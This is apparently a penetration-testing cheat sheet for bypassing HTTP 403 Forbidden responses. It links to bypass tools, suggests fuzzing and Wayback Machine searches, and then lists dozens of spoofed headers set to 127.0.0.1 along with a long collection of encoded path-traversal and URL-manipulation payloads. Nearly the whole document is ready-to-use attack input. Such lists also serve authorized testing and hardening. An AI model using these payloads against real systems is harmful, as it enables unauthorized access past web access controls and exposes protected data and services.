403 bypass

• Tools

https://github.com/iamj0ker/bypass-403
https://github.com/channyein1337/403-bypass/blob/main/403-bypass.py
https://github.com/nico989/B1pass3r
https://github.com/Dheerajmadhukar/4-ZERO-3

• bypass by fuzz or brute force

you can use dirsearch tool or discovery content path 

• bypass by waybachurl

search in wayback about this subdomain you can find any important path 

• bypass by header names

Base-Url
Client-IP
Http-Url
Proxy-Host
Proxy-Url
Real-Ip
Redirect
Referer
Referrer
Refferer
Request-Uri
Uri
Url
X-Client-IP
X-Custom-IP-Authorization
X-Forward-For
X-Forwarded-By
X-Forwarded-For-Original
X-Forwarded-For
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Port
X-Forwarded-Port
X-Forwarded-Port
X-Forwarded-Port
X-Forwarded-Scheme
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded
X-Forwarder-For
X-Host
X-Http-Destinationurl
X-Http-Host-Override
X-Original-Remote-Addr
X-Original-Url
X-Originating-IP
X-Proxy-Url
X-Real-Ip
X-Remote-Addr
X-Remote-IP
X-Rewrite-Url
X-True-IP

• bypass by header payloads

Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1

• bypass by url payloads

#
#?
%09
%09%3b
%09..
%09;
%20
%23
%23%3f
%252f%252f
%252f/
%2e%2e
%2e%2e/
%2f
%2f%20%23
%2f%23
%2f%2f
%2f%3b%2f
%2f%3b%2f%2f
%2f%3f
%2f%3f/
%2f/
%2f;?
%2f?;
%3b
%3b%09
%3b%2f%2e%2e
%3b%2f%2e%2e%2f%2e%2e%2f%2f
%3b%2f%2e.
%3b%2f..
%3b/%2e%2e/..%2f%2f
%3b/%2e.
%3b/%2f%2f../
%3b/..
%3b//%2f../
%3f%23
%3f%3f
%3f.php
..
..%00/
..%00/;
..%00;/
..%09
..%0d/
..%0d/;
..%0d;/
..%5c/
..%ff/
..%ff/;
..%ff;/
../
..;%00/
..;%0d/
..;%ff/
..;\
..;\;
..\
..\;
.html
.json
/
/#
/%20
/%20#
/%20%23
/%23
/%252e%252e%252f/
/%252e%252e%253b/
/%252e%252f/
/%252e%253b/
/%252e/
/%252f
/%2e%2e
/%2e%2e%2f/
/%2e%2e%3b/
/%2e%2e/
/%2e%2f/
/%2e%3b/
/%2e%3b//
/%2e/
/%2e//
/%2f
/%3b/
/..
/..%2f
/..%2f..%2f
/..%2f..%2f..%2f
/../
/../../
/../../../
/../../..//
/../..//
/../..//../
/../..;/
/.././../
/../.;/../
/..//
/..//../
/..//../../
/..//..;/
/../;/
/../;/../
/..;%2f
/..;%2f..;%2f
/..;%2f..;%2f..;%2f
/..;/
/..;/../
/..;/..;/
/..;//
/..;//../
/..;//..;/
/..;/;/
/..;/;/..;/
/./
/.//
/.;/
/.;//
//
//..
//../../
//..;
//./
//.;/
///..
///../
///..//
///..;
///..;/
///..;//
//;/
/;/
/;//
/;?
/;x
/;x/
/?
/?;
/x/../
/x/..//
/x/../;/
/x/..;/
/x/..;//
/x/..;/;/
/x//../
/x//..;/
/x/;/../
/x/;/..;/
;
;%09
;%09..
;%09..;
;%09;
;%2F..
;%2f%2e%2e
;%2f%2e%2e%2f%2e%2e%2f%2f
;%2f%2f/../
;%2f..
;%2f..%2f%2e%2e%2f%2f
;%2f..%2f..%2f%2f
;%2f..%2f/
;%2f..%2f/..%2f
;%2f..%2f/../
;%2f../%2f..%2f
;%2f../%2f../
;%2f..//..%2f
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;%2f..///
;%2f..///;
;%2f..//;/
;%2f..//;/;
;%2f../;//
;%2f../;/;/
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;%2f..;///
;%2f..;//;/
;%2f..;/;//
;%2f/%2f../
;%2f//..%2f
;%2f//../
;%2f//..;/
;%2f/;/../
;%2f/;/..;/
;%2f;//../
;%2f;/;/..;/
;/%2e%2e
;/%2e%2e%2f%2f
;/%2e%2e%2f/
;/%2e%2e/
;/%2e.
;/%2f%2f../
;/%2f/..%2f
;/%2f/../
;/.%2e
;/.%2e/%2e%2e/%2f
;/..
;/..%2f
;/..%2f%2f../
;/..%2f..%2f
;/..%2f/
;/..%2f//
;/../
;/../%2f/
;/../../
;/../..//
;/.././../
;/../.;/../
;/..//
;/..//%2e%2e/
;/..//%2f
;/..//../
;/..///
;/../;/
;/../;/../
;/..;
;/.;.
;//%2f../
;//..
;//../../
;///..
;///../
;///..//
;?
;x
;x/
;x;
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?#
?.php
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??
///
/%2f/
//%2f
%2f/%2f
%2f%2f%2f
%2f//